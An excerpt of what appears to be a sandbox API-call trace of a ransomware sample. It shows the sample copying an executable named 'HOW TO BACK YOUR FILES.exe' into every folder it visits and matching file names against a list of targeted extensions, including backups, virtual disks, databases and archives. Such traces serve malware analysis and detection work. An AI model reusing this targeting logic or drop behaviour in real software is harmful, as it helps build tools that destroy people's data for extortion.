lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="REFINED\\HOW TO BACK YOUR FILES.exe") returned="REFINED\\HOW TO BACK YOUR FILES.exe" [0117.167] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.169] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0117.169] lstrcmpiW (lpString1="RICEPAPR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.169] lstrcmpiW (lpString1="RICEPAPR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.169] lstrcpyW (in: lpString1=0x241e8b8, lpString2="RICEPAPR" | out: lpString1="RICEPAPR") returned="RICEPAPR" [0117.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547be8 [0117.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x5159e8 [0117.169] lstrcatW (in: lpString1="RICEPAPR", lpString2="\\" | out: lpString1="RICEPAPR\\") returned="RICEPAPR\\" [0117.169] lstrcatW (in: lpString1="RICEPAPR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RICEPAPR\\HOW TO BACK YOUR FILES.exe") returned="RICEPAPR\\HOW TO BACK YOUR FILES.exe" [0117.169] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.173] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0117.173] lstrcmpiW (lpString1="RIPPLE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.173] lstrcmpiW (lpString1="RIPPLE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.173] lstrcpyW (in: lpString1=0x241e8b8, lpString2="RIPPLE" | out: lpString1="RIPPLE") returned="RIPPLE" [0117.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547c00 [0117.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x54e3b8 [0117.173] lstrcatW (in: lpString1="RIPPLE", lpString2="\\" | out: lpString1="RIPPLE\\") returned="RIPPLE\\" [0117.173] lstrcatW (in: lpString1="RIPPLE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RIPPLE\\HOW TO BACK YOUR FILES.exe") returned="RIPPLE\\HOW TO BACK YOUR FILES.exe" [0117.173] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.175] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0117.176] lstrcmpiW (lpString1="RMNSQUE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.176] lstrcmpiW (lpString1="RMNSQUE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.176] lstrcpyW (in: lpString1=0x241e8b8, lpString2="RMNSQUE" | out: lpString1="RMNSQUE") returned="RMNSQUE" [0117.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547c18 [0117.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x54e440 [0117.176] lstrcatW (in: lpString1="RMNSQUE", lpString2="\\" | out: lpString1="RMNSQUE\\") returned="RMNSQUE\\" [0117.176] lstrcatW (in: lpString1="RMNSQUE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RMNSQUE\\HOW TO BACK YOUR FILES.exe") returned="RMNSQUE\\HOW TO BACK YOUR FILES.exe" [0117.176] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.179] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0117.179] lstrcmpiW (lpString1="SATIN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.179] lstrcmpiW (lpString1="SATIN", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.179] lstrcpyW (in: lpString1=0x241e8b8, lpString2="SATIN" | out: lpString1="SATIN") returned="SATIN" [0117.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547c30 [0117.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x54e4c8 [0117.180] lstrcatW (in: lpString1="SATIN", lpString2="\\" | out: lpString1="SATIN\\") returned="SATIN\\" [0117.180] lstrcatW (in: lpString1="SATIN\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SATIN\\HOW TO BACK YOUR FILES.exe") returned="SATIN\\HOW TO BACK YOUR FILES.exe" [0117.180] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.182] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0117.182] lstrcmpiW (lpString1="SKY", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.182] lstrcmpiW (lpString1="SKY", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.182] lstrcpyW (in: lpString1=0x241e8b8, lpString2="SKY" | out: lpString1="SKY") returned="SKY" [0117.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547c48 [0117.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x502928 [0117.182] lstrcatW (in: lpString1="SKY", lpString2="\\" | out: lpString1="SKY\\") returned="SKY\\" [0117.182] lstrcatW (in: lpString1="SKY\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SKY\\HOW TO BACK YOUR FILES.exe") returned="SKY\\HOW TO BACK YOUR FILES.exe" [0117.182] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.192] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0117.192] lstrcmpiW (lpString1="SLATE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.193] lstrcmpiW (lpString1="SLATE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.193] lstrcpyW (in: lpString1=0x241e8b8, lpString2="SLATE" | out: lpString1="SLATE") returned="SLATE" [0117.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547c60 [0117.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x54e550 [0117.193] lstrcatW (in: lpString1="SLATE", lpString2="\\" | out: lpString1="SLATE\\") returned="SLATE\\" [0117.193] lstrcatW (in: lpString1="SLATE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SLATE\\HOW TO BACK YOUR FILES.exe") returned="SLATE\\HOW TO BACK YOUR FILES.exe" [0117.193] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.197] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0117.197] lstrcmpiW (lpString1="SONORA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.197] lstrcmpiW (lpString1="SONORA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.197] lstrcpyW (in: lpString1=0x241e8b8, lpString2="SONORA" | out: lpString1="SONORA") returned="SONORA" [0117.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547c78 [0117.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x54e5d8 [0117.198] lstrcatW (in: lpString1="SONORA", lpString2="\\" | out: lpString1="SONORA\\") returned="SONORA\\" [0117.198] lstrcatW (in: lpString1="SONORA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SONORA\\HOW TO BACK YOUR FILES.exe") returned="SONORA\\HOW TO BACK YOUR FILES.exe" [0117.198] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.200] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0117.201] lstrcmpiW (lpString1="SPRING", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.201] lstrcmpiW (lpString1="SPRING", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.201] lstrcpyW (in: lpString1=0x241e8b8, lpString2="SPRING" | out: lpString1="SPRING") returned="SPRING" [0117.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547c90 [0117.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x54e660 [0117.201] lstrcatW (in: lpString1="SPRING", lpString2="\\" | out: lpString1="SPRING\\") returned="SPRING\\" [0117.201] lstrcatW (in: lpString1="SPRING\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SPRING\\HOW TO BACK YOUR FILES.exe") returned="SPRING\\HOW TO BACK YOUR FILES.exe" [0117.201] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.204] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0117.204] lstrcmpiW (lpString1="STRTEDGE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.204] lstrcmpiW (lpString1="STRTEDGE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.204] lstrcpyW (in: lpString1=0x241e8b8, lpString2="STRTEDGE" | out: lpString1="STRTEDGE") returned="STRTEDGE" [0117.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547ca8 [0117.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x515a78 [0117.204] lstrcatW (in: lpString1="STRTEDGE", lpString2="\\" | out: lpString1="STRTEDGE\\") returned="STRTEDGE\\" [0117.204] lstrcatW (in: lpString1="STRTEDGE\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="STRTEDGE\\HOW TO BACK YOUR FILES.exe") returned="STRTEDGE\\HOW TO BACK YOUR FILES.exe" [0117.204] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.208] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0117.208] lstrcmpiW (lpString1="STUDIO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.208] lstrcmpiW (lpString1="STUDIO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.208] lstrcpyW (in: lpString1=0x241e8b8, lpString2="STUDIO" | out: lpString1="STUDIO") returned="STUDIO" [0117.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547cc0 [0117.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x54e6e8 [0117.208] lstrcatW (in: lpString1="STUDIO", lpString2="\\" | out: lpString1="STUDIO\\") returned="STUDIO\\" [0117.208] lstrcatW (in: lpString1="STUDIO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="STUDIO\\HOW TO BACK YOUR FILES.exe") returned="STUDIO\\HOW TO BACK YOUR FILES.exe" [0117.208] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.210] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0117.210] lstrcmpiW (lpString1="SUMIPNTG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.210] lstrcmpiW (lpString1="SUMIPNTG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.210] lstrcpyW (in: lpString1=0x241e8b8, lpString2="SUMIPNTG" | out: lpString1="SUMIPNTG") returned="SUMIPNTG" [0117.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547cd8 [0117.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x550158 [0117.211] lstrcatW (in: lpString1="SUMIPNTG", lpString2="\\" | out: lpString1="SUMIPNTG\\") returned="SUMIPNTG\\" [0117.211] lstrcatW (in: lpString1="SUMIPNTG\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SUMIPNTG\\HOW TO BACK YOUR FILES.exe") returned="SUMIPNTG\\HOW TO BACK YOUR FILES.exe" [0117.211] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.217] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0117.217] lstrcmpiW (lpString1="THEMES.INF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.217] lstrcmpiW (lpString1="THEMES.INF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.217] lstrcpyW (in: lpString1=0x241e8b8, lpString2="THEMES.INF" | out: lpString1="THEMES.INF") returned="THEMES.INF" [0117.217] lstrlenW (lpString="THEMES.INF") returned 10 [0117.217] lstrlenW (lpString="Athena865") returned 9 [0117.217] lstrcmpiW (lpString1="HEMES.INF", lpString2="Athena865") returned 1 [0117.217] lstrlenW (lpString=".dll") returned 4 [0117.218] lstrcmpiW (lpString1="THEMES.INF", lpString2=".dll") returned 1 [0117.218] lstrlenW (lpString=".lnk") returned 4 [0117.218] lstrcmpiW (lpString1="THEMES.INF", lpString2=".lnk") returned 1 [0117.218] lstrlenW (lpString=".ini") returned 4 [0117.218] lstrcmpiW (lpString1="THEMES.INF", lpString2=".ini") returned 1 [0117.218] lstrlenW (lpString=".sys") returned 4 [0117.218] lstrcmpiW (lpString1="THEMES.INF", lpString2=".sys") returned 1 [0117.218] lstrlenW (lpString="THEMES.INF") returned 10 [0117.218] lstrlenW (lpString="bak") returned 3 [0117.218] lstrcmpiW (lpString1="INF", lpString2="bak") returned 1 [0117.218] lstrlenW (lpString="ba_") returned 3 [0117.218] lstrcmpiW (lpString1="INF", lpString2="ba_") returned 1 [0117.218] lstrlenW (lpString="dbb") returned 3 [0117.218] lstrcmpiW (lpString1="INF", lpString2="dbb") returned 1 [0117.218] lstrlenW (lpString="vmdk") returned 4 [0117.218] lstrcmpiW (lpString1=".INF", lpString2="vmdk") returned -1 [0117.218] lstrlenW (lpString="rar") returned 3 [0117.218] lstrcmpiW (lpString1="INF", lpString2="rar") returned -1 [0117.218] lstrlenW (lpString="zip") returned 3 [0117.218] lstrcmpiW (lpString1="INF", lpString2="zip") returned -1 [0117.218] lstrlenW (lpString="tgz") returned 3 [0117.218] lstrcmpiW (lpString1="INF", lpString2="tgz") returned -1 [0117.218] lstrlenW (lpString="vbox") returned 4 [0117.218] lstrcmpiW (lpString1=".INF", lpString2="vbox") returned -1 [0117.218] lstrlenW (lpString="vdi") returned 3 [0117.218] lstrcmpiW (lpString1="INF", lpString2="vdi") returned -1 [0117.218] lstrlenW (lpString="vhd") returned 3 [0117.218] lstrcmpiW (lpString1="INF", lpString2="vhd") returned -1 [0117.218] lstrlenW (lpString="vhdx") returned 4 [0117.219] lstrcmpiW (lpString1=".INF", lpString2="vhdx") returned -1 [0117.219] lstrlenW (lpString="avhd") returned 4 [0117.219] lstrcmpiW (lpString1=".INF", lpString2="avhd") returned -1 [0117.219] lstrlenW (lpString="db") returned 2 [0117.219] lstrcmpiW (lpString1="NF", lpString2="db") returned 1 [0117.219] lstrlenW (lpString="db2") returned 3 [0117.219] lstrcmpiW (lpString1="INF", lpString2="db2") returned 1 [0117.219] lstrlenW (lpString="db3") returned 3 [0117.219] lstrcmpiW (lpString1="INF", lpString2="db3") returned 1 [0117.219] lstrlenW (lpString="dbf") returned 3 [0117.219] lstrcmpiW (lpString1="INF", lpString2="dbf") returned 1 [0117.219] lstrlenW (lpString="mdf") returned 3 [0117.219] lstrcmpiW (lpString1="INF", lpString2="mdf") returned -1 [0117.219] lstrlenW (lpString="mdb") returned 3 [0117.219] lstrcmpiW (lpString1="INF", lpString2="mdb") returned -1 [0117.219] lstrlenW (lpString="sql") returned 3 [0117.219] lstrcmpiW (lpString1="INF", lpString2="sql") returned -1 [0117.219] lstrlenW (lpString="sqlite") returned 6 [0117.219] lstrcmpiW (lpString1="ES.INF", lpString2="sqlite") returned -1 [0117.219] lstrlenW (lpString="sqlite3") returned 7 [0117.219] lstrcmpiW (lpString1="MES.INF", lpString2="sqlite3") returned -1 [0117.219] lstrlenW (lpString="sqlitedb") returned 8 [0117.219] lstrcmpiW (lpString1="EMES.INF", lpString2="sqlitedb") returned -1 [0117.219] lstrlenW (lpString="xml") returned 3 [0117.219] lstrcmpiW (lpString1="INF", lpString2="xml") returned -1 [0117.219] lstrlenW (lpString="$er") returned 3 [0117.219] lstrcmpiW (lpString1="INF", lpString2="$er") returned 1 [0117.219] lstrlenW (lpString="4dd") returned 3 [0117.219] lstrcmpiW (lpString1="INF", lpString2="4dd") returned 1 [0117.219] lstrlenW (lpString="4dl") returned 3 [0117.220] lstrcmpiW (lpString1="INF", lpString2="4dl") returned 1 [0117.220] lstrlenW (lpString="^^^") returned 3 [0117.220] lstrcmpiW (lpString1="INF", lpString2="^^^") returned 1 [0117.220] lstrlenW (lpString="abs") returned 3 [0117.220] lstrcmpiW (lpString1="INF", lpString2="abs") returned 1 [0117.220] lstrlenW (lpString="abx") returned 3 [0117.220] lstrcmpiW (lpString1="INF", lpString2="abx") returned 1 [0117.220] lstrlenW (lpString="accdb") returned 5 [0117.220] lstrcmpiW (lpString1="S.INF", lpString2="accdb") returned 1 [0117.220] lstrlenW (lpString="accdc") returned 5 [0117.220] lstrcmpiW (lpString1="S.INF", lpString2="accdc") returned 1 [0117.220] lstrlenW (lpString="accde") returned 5 [0117.220] lstrcmpiW (lpString1="S.INF", lpString2="accde") returned 1 [0117.220] lstrlenW (lpString="accdr") returned 5 [0117.220] lstrcmpiW (lpString1="S.INF", lpString2="accdr") returned 1 [0117.220] lstrlenW (lpString="accdt") returned 5 [0117.220] lstrcmpiW (lpString1="S.INF", lpString2="accdt") returned 1 [0117.220] lstrlenW (lpString="accdw") returned 5 [0117.220] lstrcmpiW (lpString1="S.INF", lpString2="accdw") returned 1 [0117.220] lstrlenW (lpString="accft") returned 5 [0117.220] lstrcmpiW (lpString1="S.INF", lpString2="accft") returned 1 [0117.222] lstrlenW (lpString="adb") returned 3 [0117.222] lstrcmpiW (lpString1="INF", lpString2="adb") returned 1 [0117.222] lstrlenW (lpString="adb") returned 3 [0117.222] lstrcmpiW (lpString1="INF", lpString2="adb") returned 1 [0117.222] lstrlenW (lpString="ade") returned 3 [0117.222] lstrcmpiW (lpString1="INF", lpString2="ade") returned 1 [0117.222] lstrlenW (lpString="adf") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="adf") returned 1 [0117.223] lstrlenW (lpString="adn") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="adn") returned 1 [0117.223] lstrlenW (lpString="adp") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="adp") returned 1 [0117.223] lstrlenW (lpString="alf") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="alf") returned 1 [0117.223] lstrlenW (lpString="ask") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="ask") returned 1 [0117.223] lstrlenW (lpString="btr") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="btr") returned 1 [0117.223] lstrlenW (lpString="cat") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="cat") returned 1 [0117.223] lstrlenW (lpString="cdb") returned 3 